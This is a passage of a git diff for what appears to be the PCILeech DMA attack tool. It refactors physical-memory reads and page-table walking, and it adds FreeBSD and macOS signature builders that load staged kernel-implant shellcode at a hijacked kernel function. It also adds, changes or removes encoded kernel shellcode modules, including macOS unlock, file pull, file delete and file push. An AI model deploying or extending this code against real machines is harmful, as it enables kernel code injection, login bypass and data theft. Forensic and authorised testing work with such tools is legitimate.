qwAddr = (qwCR3 & 0x000ffffffffff000); - if(!qwAddr || qwAddr > 0xffffffff) { return FALSE; } - result = DeviceReadDMARetryOnFail(pDeviceData, (DWORD)qwAddr, pb, 4096); + qwAddr = (qwCR3 & 0x0000fffffffff000); + if(!qwAddr) { return FALSE; } + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL); if(!result) { return FALSE; } // retrieve PDPT (Page-Directory Pointer Table) qwEntry = *(PQWORD)&pb[0xff8 & ((qwAddressLinear >> 39) << 3)]; - qwAddr = 0x000ffffffffff000 & qwEntry; - if(!qwAddr || qwAddr > 0xffffffff) { return FALSE; } + qwAddr = 0x0000fffffffff000 & qwEntry; + if(!qwAddr) { return FALSE; } if((qwEntry & PT_VALID_MASK) != PT_VALID_VALUE) { return FALSE; } - result = DeviceReadDMA(pDeviceData, (DWORD)qwAddr, pb, 4096); + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, 0); if(!result) { return FALSE; } // retrieve PD (Page-Directory) qwEntry = *(PQWORD)&pb[0xff8 & ((qwAddressLinear >> 30) << 3)]; - qwAddr = 0x000ffffffffff000 & qwEntry; - if(!qwAddr || qwAddr > 0xffffffff) { return FALSE; } + qwAddr = 0x0000fffffffff000 & qwEntry; + if(!qwAddr) { return FALSE; } if((qwEntry & PT_VALID_MASK) != PT_VALID_VALUE) { return FALSE; } - result = DeviceReadDMA(pDeviceData, (DWORD)qwAddr, pb, 4096); + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, 0); if(!result) { return FALSE; } // retrieve PT (Page-Table) qwEntry = *(PQWORD)&pb[0xff8 & ((qwAddressLinear >> 21) << 3)]; - qwAddr = 0x000ffffffffff000 & qwEntry; - if(!qwAddr || qwAddr > 0xffffffff) { return FALSE; } + qwAddr = 0x0000fffffffff000 & qwEntry; + if(!qwAddr) { return FALSE; } if((qwEntry & PT_VALID_MASK) != PT_VALID_VALUE) { return FALSE; } - result = DeviceReadDMA(pDeviceData, (DWORD)qwAddr, pb, 4096); + result = DeviceReadMEM(pDeviceData, qwAddr, pb, 4096, 0); if(!result) { return FALSE; } // retrieve PTE if(pqPTEAddrPhysOpt) { @@ -53,37 +53,37 @@ BOOL Util_PageTable_ReadPTE(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _I BOOL Util_PageTable_FindSignatureBase_IsPageTableDataValid(_In_ QWORD qwPageTableData) { if((qwPageTableData & PT_VALID_MASK) != PT_VALID_VALUE) { - return FALSE; - } // Not valid supervisor page entry - qwPageTableData &= 0x000ffffffffff000; + return FALSE; // Not valid supervisor page entry + } + qwPageTableData &= 0x0000fffffffff000; if(qwPageTableData == 0) { - return FALSE; - } // Not found + return FALSE; // Not found + } if(qwPageTableData > 0xffffffff) { - return FALSE; - } // Outside 32-bit scope + return FALSE; // Outside 32-bit scope + } if(qwPageTableData > 0xc0000000) { - return FALSE; - } // Possibly in PCIE space + return FALSE; // Possibly in PCIE space + } return TRUE; } -BOOL Util_PageTable_FindSignatureBase_CachedReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwAddrPci32, _Out_ PBYTE pbPage, _Inout_updates_bytes_(0x01000000) PBYTE pbCache) +BOOL Util_PageTable_FindSignatureBase_CachedReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pbPage, _Inout_updates_bytes_(0x01000000) PBYTE pbCache) { BOOL result; if(pbCache) { if(*(PQWORD)pbCache == 0) { *(PQWORD)pbCache = 2; - result = DeviceReadDMARetryOnFail(pDeviceData, 0x00100000, pbCache + 0x00100000, 0x00F00000); + result = DeviceReadMEM(pDeviceData, 0x00100000, pbCache + 0x00100000, 0x00F00000, PCILEECH_MEM_FLAG_RETRYONFAIL); if(!result) { return FALSE; } *(PQWORD)pbCache = 1; } - if(*(PQWORD)pbCache == 1 && dwAddrPci32 >= 0x00100000 && dwAddrPci32 < 0x01000000) { - memcpy(pbPage, pbCache + dwAddrPci32, 4096); + if(*(PQWORD)pbCache == 1 && qwAddr >= 0x00100000 && qwAddr < 0x01000000) { + memcpy(pbPage, pbCache + qwAddr, 4096); return TRUE; } } - return DeviceReadDMARetryOnFail(pDeviceData, dwAddrPci32, pbPage, 4096); + return DeviceReadMEM(pDeviceData, qwAddr, pbPage, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL); } BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Inout_ PBYTE pbCache, _In_ QWORD qwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase) @@ -98,7 +98,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino QWORD cPTE = 0, cPTEPages = 0, PTE, qwA; QWORD qwPageTableData; WORD wSignature; - result = Util_PageTable_FindSignatureBase_CachedReadDMA(pDeviceData, qwCR3 & 0xfffff000, (PBYTE)PML4, pbCache); + result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwCR3 & ~0xfff, (PBYTE)PML4, pbCache); if(!result) { return FALSE; } qwA = 0x0fffff80000000000; while(qwA > 0x07fffffffffffffff) { @@ -110,7 +110,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino qwA &= 0xffffff8000000000; continue; } - result = Util_PageTable_FindSignatureBase_CachedReadDMA(pDeviceData, qwPageTableData & 0xfffff000, (PBYTE)PDPT, pbCache); + result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PDPT, pbCache); if(!result) { qwA += 0x0000008000000000; qwA &= 0xffffff8000000000; @@ -127,7 +127,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino qwA &= 0xffffffffC0000000; continue; } - result = Util_PageTable_FindSignatureBase_CachedReadDMA(pDeviceData, qwPageTableData & 0xfffff000, (PBYTE)PD, pbCache); + result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PD, pbCache); if(!result) { qwA += 0x0000000040000000; qwA &= 0xffffffffC0000000; @@ -143,7 +143,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino qwA &= 0xffffffffffE00000; continue; } - result = Util_PageTable_FindSignatureBase_CachedReadDMA(pDeviceData, qwPageTableData & 0xfffff000, (PBYTE)PT, pbCache); + result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PT, pbCache); if(!result) { qwA += 0x0000000000200000; qwA &= 0xffffffffffE00000; @@ -182,7 +182,7 @@ BOOL Util_PageTable_WindowsHintPML4(_In_ PDEVICE_DATA pDeviceData, _Out_ PQWORD { BYTE pb[0x1000]; return - DeviceReadMEM(pDeviceData, 0x1000, pb, 0x1000) && + DeviceReadMEM(pDeviceData, 0x1000, pb, 0x1000, 0) && ((*(PQWORD)(pb + 0x78) & 0xfffffffffff00fff) == 0xffffffffffd00000) && ((*(PQWORD)(pb + 0xa0) & 0xffffffff00000fff) == 0) && (*pqwCR3 = *(PQWORD)(pb + 0xa0)); @@ -241,7 +241,7 @@ BOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_ PBYTE pb, _In_ DWORD cb, _Out i = strnlen_s(sz, MAX_PATH); if(i > 4 && i < MAX_PATH) { // try to load from file hFile = CreateFileA(sz, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if(!hFile) { return E_FAIL; } + if(!hFile || hFile == INVALID_HANDLE_VALUE) { return E_FAIL; } result = ReadFile(hFile, pb, cb, pcb, NULL); CloseHandle(hFile); return result; @@ -289,9 +289,11 @@ BOOL Util_LoadSignatures(_In_ LPSTR szSignatureName, _In_ LPSTR szFileExtension, memset(pSignatures, 0, *cSignatures * sizeof(SIGNATURE)); // open and read file Util_GetFileInDirectory(szSignatureFile, szSignatureName); - strcpy_s(szSignatureFile + strlen(szSignatureFile), MAX_PATH - strlen(szSignatureFile), szFileExtension); + if(_strnicmp(szSignatureFile + strlen(szSignatureFile) - strlen(szFileExtension), szFileExtension, MAX_PATH)) { // add extension if missing + strcpy_s(szSignatureFile + strlen(szSignatureFile), MAX_PATH - strlen(szSignatureFile), szFileExtension); + } hFile = CreateFileA(szSignatureFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if(!hFile) { return FALSE; } + if(!hFile || hFile == INVALID_HANDLE_VALUE) { return FALSE; } memset(pbFile, 0, 0x10000); bResult = ReadFile(hFile, pbFile, 0x10000, &cbFile, NULL); CloseHandle(hFile); @@ -305,7 +307,7 @@ BOOL Util_LoadSignatures(_In_ LPSTR szSignatureName, _In_ LPSTR szFileExtension, szLine = strtok_s(NULL, "\r\n", &szContext); } *cSignatures = cSignatureIdx; - return TRUE; + return (cSignatureIdx > 0); } VOID Util_GetFileInDirectory(_Out_ CHAR szPath[MAX_PATH], _In_ LPSTR szFileName) @@ -361,7 +363,7 @@ BOOL Util_LoadKmdExecShellcode(_In_ LPSTR szKmdExecName, _Out_ PKMDEXEC* ppKmdEx Util_GetFileInDirectory(szKmdExecFile, szKmdExecName); strcpy_s(szKmdExecFile + strlen(szKmdExecFile), MAX_PATH - strlen(szKmdExecFile), ".ksh"); hFile = CreateFileA(szKmdExecFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if(!hFile) { return FALSE; } + if(!hFile || hFile == INVALID_HANDLE_VALUE) { return FALSE; } result = ReadFile(hFile, pbKmdExec, 0x10000, &cbKmdExec, NULL); CloseHandle(hFile); if(!result) { return FALSE; } @@ -395,12 +397,9 @@ VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms { DWORD dwBase2M = (paSzKallsyms & ~0x1fffff) - ((vaSzKallsyms & ~0x1fffff) - (vaFnKallsyms & ~0x1fffff)); // symbol name base is not same as fn base memset(pSignature, 0, sizeof(SIGNATURE)); - memcpy(pSignature->chunk[2].pb, LINUX_X64_STAGE1_BIN, sizeof(LINUX_X64_STAGE1_BIN)); - memcpy(pSignature->chunk[3].pb, LINUX_X64_STAGE2_BIN, sizeof(LINUX_X64_STAGE2_BIN)); - memcpy(pSignature->chunk[4].pb, LINUX_X64_STAGE3_BIN, sizeof(LINUX_X64_STAGE3_BIN)); - pSignature->chunk[2].cb = sizeof(LINUX_X64_STAGE1_BIN); - pSignature->chunk[3].cb = sizeof(LINUX_X64_STAGE2_BIN); - pSignature->chunk[4].cb = sizeof(LINUX_X64_STAGE3_BIN); + Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE1", pSignature->chunk[2].pb, 4096, &pSignature->chunk[2].cb); + Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE2", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); + Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); pSignature->chunk[0].cbOffset = paBase + dwBase2M + (vaFnHijack & 0xffffff); pSignature->chunk[1].cbOffset = paBase + dwBase2M + 0xd00; pSignature->chunk[2].cbOffset = dwBase2M + (vaFnHijack & 0xffffff); @@ -410,15 +409,27 @@ VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms pSignature->chunk[1].qwAddress = pSignature->chunk[1].cbOffset & ~0xfff; } -VOID Util_CreateSignatureAppleGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunctionHook, _In_ DWORD paStage2, _Out_ PSIGNATURE pSignature) +VOID Util_CreateSignatureFreeBSDGeneric(_In_ DWORD paStrTab, _In_ DWORD paFnHijack, _Out_ PSIGNATURE pSignature) { memset(pSignature, 0, sizeof(SIGNATURE)); - memcpy(pSignature->chunk[2].pb, APPLE_X64_STAGE1_BIN, sizeof(APPLE_X64_STAGE1_BIN)); - memcpy(pSignature->chunk[3].pb, APPLE_X64_STAGE2_BIN, sizeof(APPLE_X64_STAGE2_BIN)); - memcpy(pSignature->chunk[4].pb, APPLE_X64_STAGE3_BIN, sizeof(APPLE_X64_STAGE3_BIN)); - pSignature->chunk[2].cb = sizeof(APPLE_X64_STAGE1_BIN); - pSignature->chunk[3].cb = sizeof(APPLE_X64_STAGE2_BIN); - pSignature->chunk[4].cb = sizeof(APPLE_X64_STAGE3_BIN); + Util_ParseHexFileBuiltin("DEFAULT_FREEBSD_X64_STAGE1", pSignature->chunk[2].pb, 4096, &pSignature->chunk[2].cb); + Util_ParseHexFileBuiltin("DEFAULT_FREEBSD_X64_STAGE2", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); + Util_ParseHexFileBuiltin("DEFAULT_FREEBSD_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); + pSignature->chunk[0].cbOffset = paFnHijack; + pSignature->chunk[1].cbOffset = 0x1e00; + pSignature->chunk[2].cbOffset = paFnHijack; + pSignature->chunk[3].cbOffset = 0x1e00; + pSignature->chunk[4].cbOffset = paStrTab; + pSignature->chunk[0].qwAddress = pSignature->chunk[0].cbOffset & ~0xfff; + pSignature->chunk[1].qwAddress = pSignature->chunk[1].cbOffset & ~0xfff; +} + +VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunctionHook, _In_ DWORD paStage2, _Out_ PSIGNATURE pSignature) +{ + memset(pSignature, 0, sizeof(SIGNATURE)); + Util_ParseHexFileBuiltin("DEFAULT_MACOS_STAGE1", pSignature->chunk[2].pb, 4096, &pSignature->chunk[2].cb); + Util_ParseHexFileBuiltin("DEFAULT_MACOS_STAGE2", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); + Util_ParseHexFileBuiltin("DEFAULT_MACOS_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); pSignature->chunk[0].cbOffset = paFunctionHook; pSignature->chunk[1].cbOffset = paStage2; pSignature->chunk[2].cbOffset = paFunctionHook; @@ -451,7 +462,7 @@ VOID Util_Read1M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE p QWORD o, p; // try read 1M in 128k chunks for(o = 0; o < 0x00100000; o += 0x00020000) { - if((qwBaseAddress + o + 0x00020000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer1M + o, 0x00020000)) { + if((qwBaseAddress + o + 0x00020000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer1M + o, 0x00020000, 0)) { pPageStat->cPageSuccess += 32; } else { // try read 128k in 4k (page) chunks @@ -459,7 +470,7 @@ VOID Util_Read1M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE p if(!(qwBaseAddress + o + p + 0x1000 <= pCfg->qwAddrMax)) { return; } - if(DeviceReadMEM(pDeviceData, qwBaseAddress + o + p, pbBuffer1M + o + p, 0x1000)) { + if(DeviceReadMEM(pDeviceData, qwBaseAddress + o + p, pbBuffer1M + o + p, 0x1000, 0)) { pPageStat->cPageSuccess++; } else { pPageStat->cPageFail++; @@ -474,7 +485,7 @@ BOOL Util_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE BOOL isSuccess[4] = { FALSE, FALSE, FALSE, FALSE }; QWORD i, o, qwOffset; // try read 16M - if((qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress, pbBuffer16M, 0x01000000)) { + if((qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress, pbBuffer16M, 0x01000000, 0)) { pPageStat->cPageSuccess += 4096; return TRUE; } @@ -482,7 +493,7 @@ BOOL Util_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE memset(pbBuffer16M, 0, 0x01000000); for(i = 0; i < 4; i++) { o = 0x00400000 * i; - isSuccess[i] = (qwBaseAddress + o + 0x00400000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer16M + o, 0x00400000); + isSuccess[i] = (qwBaseAddress + o + 0x00400000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer16M + o, 0x00400000, 0); } // DMA mode + all memory inside scope + and all 4M reads fail => fail if(!pDeviceData->KMDHandle && qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax && !isSuccess[0] && !isSuccess[1] && !isSuccess[2] && !isSuccess[3]) { diff --git a/pcileech/util.h b/pcileech/util.h index 5cfc892..ca9f1f8 100644 --- a/pcileech/util.h +++ b/pcileech/util.h @@ -112,14 +112,23 @@ QWORD Util_GetNumeric(_In_ LPSTR sz); VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature); /* -* "Create" a static signature for Apple OSX given the supplied parameters. The +* "Create" a static signature for FreeBSD given the supplied parameters. The +* function formats the paramerters and put them into the supplied pSignature. +* -- paStrTab = physical address of the strtab found. +* -- paFnHijack = physical address of the function to hijack. +* -- pSignature = ptr to signature struct to place the result in. +*/ +VOID Util_CreateSignatureFreeBSDGeneric(_In_ DWORD paStrTab, _In_ DWORD paFnHijack, _Out_ PSIGNATURE pSignature); + +/* +* "Create" a static signature for MacOS given the supplied parameters. The * function formats the paramerters and put them into the supplied pSignature. * -- paKernelBase = memory physical address of kernel macho-o header. * -- paFunctionHook = memory physical address of the hook function. * -- paStage2 = memory physical address where to place the stage2 shellcode. * -- pSignature = ptr to signature struct to place the result in. */ -VOID Util_CreateSignatureAppleGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunctionHook, _In_ DWORD paStage2, _Out_ PSIGNATURE pSignature); +VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunctionHook, _In_ DWORD paStage2, _Out_ PSIGNATURE pSignature); /* diff --git a/pcileech_files/ax64_filepull.ksh b/pcileech_files/ax64_filepull.ksh deleted file mode 100644 index 0c6500c03bff3aefd93aa4adef8d8b70fdfa0048..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2017 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 literal 0 HcmV?d00001 diff --git a/pcileech_files/lx64_filedelete.ksh b/pcileech_files/lx64_filedelete.ksh index 6df3cb53d898c611dea23de65c6b140309ecc828..a28be124e22b3c7bfc4aeb9f135aebf632458487 100644 GIT binary patch delta 71 zcmV-N0J#6Q3APC&HxukU?BdZ!dy%~PJshPc@duBxt!N%4_p|^nz}gwg$Ya27u_WjL dlMMnivp@o`0SshiY-Mz1AZBT7WiFHZ1G|!m9~A%q delta 73 zcmV-P0Ji_O3APC&HxukUY$b;J3aqU8ci#|7K@nzQQ)!EQ7zI_tCTcq)b)7IQu_WjL f0aKF<0yMKh0n4p67mV%R`f^R<>QzJyWL_tcku_zH+j+>CH!59=^QbRAl1^BOM>^oPV^At36-4 zYxcQ$HQPUp&t$rR{RV|!s!*6D=CS)Y4%nGKy$hQ6gN47**WImt_X=&+Do(oq&6V}~ zr*-S~@}X5`6T#dm{nBr9LsT0W6C-KkdcARr)AjcaX zJFcU_9!7h*`EI@k*foJw1$G3O=mU`jd|?q!>qK^4WS{$9!yftW|9`R$3+yZ}@qK-g ze(>NyU|&ITod=4!Mko$9iNzd=Luu14*fLo~1}M?920becWwKDD^P!~SpYAZ|M87Ph z5qhNALSVN+&u6pGYX~d?_5&iufI%;eLN47y{wObaZzh{zR#zKd0I7_$an zkD={AyA5p!v)|X$F}jO0=x(XIGi1<@!%~DI{s|u#qn{yeNLngu&;wGUzu%yTQrRH{ z_td~Iq`a(P@V-?47#&6YiZnE!81xS*navo~QsrUQpe`w?0Z8eZd19=&1z9FL^=PeLer^h_=Cw|qU3q~sHgJ2m@&^=JFJo%r>_9YNY z@A>R43hY_bgwiCimq?H)iv@Oi11=wmy*}K!>T8Pk@F=cH6nqW}GQqXK!{O!G+=fgS zw7F$GSE0CtpfJxpj+LPlubBJ|%NnVm7XkEcb-c4}FWbJ>We2^*-H#&K>qbmuy1C14 zmIY1o?b@LtmV$&fSD+a15n$f}n=)UqT{w+*A97XCePnBZ1*`mC`%XZi-$yvi;7eVW z8NpDIZS|lB*kRGtzF1^ck!^2ufZ%a+#dNKDr`E(%z~V@^AL|_svN0&W>?7u!T8wrA z(VqqOJ+Pg2zIpk&Wudg#0a!9##$l?^b^waoIrKFIrh+5CtFtj<3Ny@aFw`y$BS+O) z2#%X&8!3KiFGMW$`f|8`+_|zG_s;i88}x8o6iK@v(kN+=SXMAt`SG)QKC zynHw;QZkrGhN6T9gqRTOoH^^Z2=D59dx$rzrPCxq22yF64CJ$eMBOA4HId&at3-KG zQDsE34w%j+6X|K}iJLumBeW|nL}-A7!gl*n|4r9_J9r6Mn$=X|ul114klTrD@)zWb=dA_keBGJ9C}HTLtKFVlbDM z{bZ5TQqtdx^XGauWffIf^f$}Dtv!Nr+W`Mq-(4y1sBza06tYZKlgnlzuZ`fyfH->O zV<^6Gj09+mM`;E~ghu0Hj0m0Wp-7N-GEwgdsplsP6@s7ENqjOCuu(r* PKD==G%5~)4MaTUGrp~YJ literal 0 HcmV?d00001 diff --git a/pcileech_files/ax64_filepush.ksh b/pcileech_files/macos_filepush.ksh similarity index 57% rename from pcileech_files/ax64_filepush.ksh rename to pcileech_files/macos_filepush.ksh index bb87de800db5e92e1bf8cdb67b0126ea9e3f0df3..9d28e77cf839c58f3d539b0ed1721963019de881 100644 GIT binary patch delta 671 zcmb7>?`u*~7{{->n$nNCn$T#mS(6He_#$Eui*j`8xo|fnn;XP-Fum4TsrU<{7gBD} z_rF#^`b&+LKcfft#0RH|3C*0-{<-8eSUDxQ_E+| zfxh;7|Kk4P`%{6`++677^(!CGJrsH;Jy&-<^K^ZG6;x;J*K}O-J*urxK0bN1xi z`c^NH707&OK&Ec3&E}#jX{XmY0_3Ma8UlFJ!OVMyeG3Vnu%DIS9Sq7|Bzlo(ab! zMvk)7$kerjcrHy5#oi$oMbF)M#sDcv{VT#^hUm!ryyNPg;!D?{n>ZMif)vea%!rf07)2YfKOCaS9G6mYirTS15v6ErR0_qHP$vh((j^=s zL#A5mA5{gJhv`Cm3#b$_MH6IHWAyD^?LWorj7@tVft+X)NUTF3=dFVzwnrfE$BHF| z=k0a}^FijGRkNF?c4%34xKNW=-|0ePv(}~oa>m-iai7e}7~i@6$!|823^r;Hl#9GW zcUif`+jOUt3UAdNQGW0}x}C~)eYdVf>DO=DR9(~dThPjvH!42;q~Wa3@A4>R{l44l H3OX2>i}nxg#>+B(!^1I3cq%?E-? z2x}=}2vSz@(t~&t?8%GXQVJc#fVLirD2S+Jn+6P62=SwFmchBanc?^T18?fiSI%=o z#~J})H65C157rlou9dL|`DI~=_xEW9@AH75CJumPo*LLK)`N7L3AhEVR^hpz>k|siZl8Kq-;G0iplnvnLjP|}M!)AAj(H5E*i4pL76ir?xpd*g~&Unw1gDM+S zHk6yAdEIC>kszRFE}iF$Ri<22^)l7VR3C~LRD}TdY*yinCB{U`wi(-I>?2C5N|J!j z6kTWN1Vuv(4WWE8L%>-SPp1etpH*&U3AlvfIhBC0s-&_TV3;!oS>I{@Yp4a@a#;uL ztU;}96V>Jm^V4>_{FO*~MKUKT<0*%XZ@Xmtb!J`nSiD{@B~W`QnzHAf+dP%WD@K%t zE>?0!&4eZ_X<`@0?HtzcTKW!t|4ZkGqfO(J{>0+rpXpl`iC@xN7LiZtF2TcJ)B}Q> p@7Je=V^<8)29aVU00yefi_JSN9R^tA)N=O?W}>pxe84iEqU diff --git a/pcileech_files/macos_unlock.ksh b/pcileech_files/macos_unlock.ksh new file mode 100644 index 0000000000000000000000000000000000000000..5a891682feed66642e8004d7b9f6bc0c5331f7dc GIT binary patch literal 2061 zcmb_cYitx%6rSmIyc<5N-+C;4ZzMZiGCHVgN9*3n9PL_c8ZY#ULhf6-D7PMe zBDZc^(Er`i0Q^VLuVz4>CFT`L5P)B6Np1lDX|V859CiiDTqV&**9y^F;E!)i_KO>n zvC+HV&zCQbu8A!c1hM>8S9G=Q5NmB!SxuD^gmPCv^MIakLHC?M1VJlEr-26pUXX%; z!XySt0v|;HiREF10a24Vb%8XTz6m^$r1gzh*BtO4%yX7ysXT5P&N@ta#pCL8!`1vO 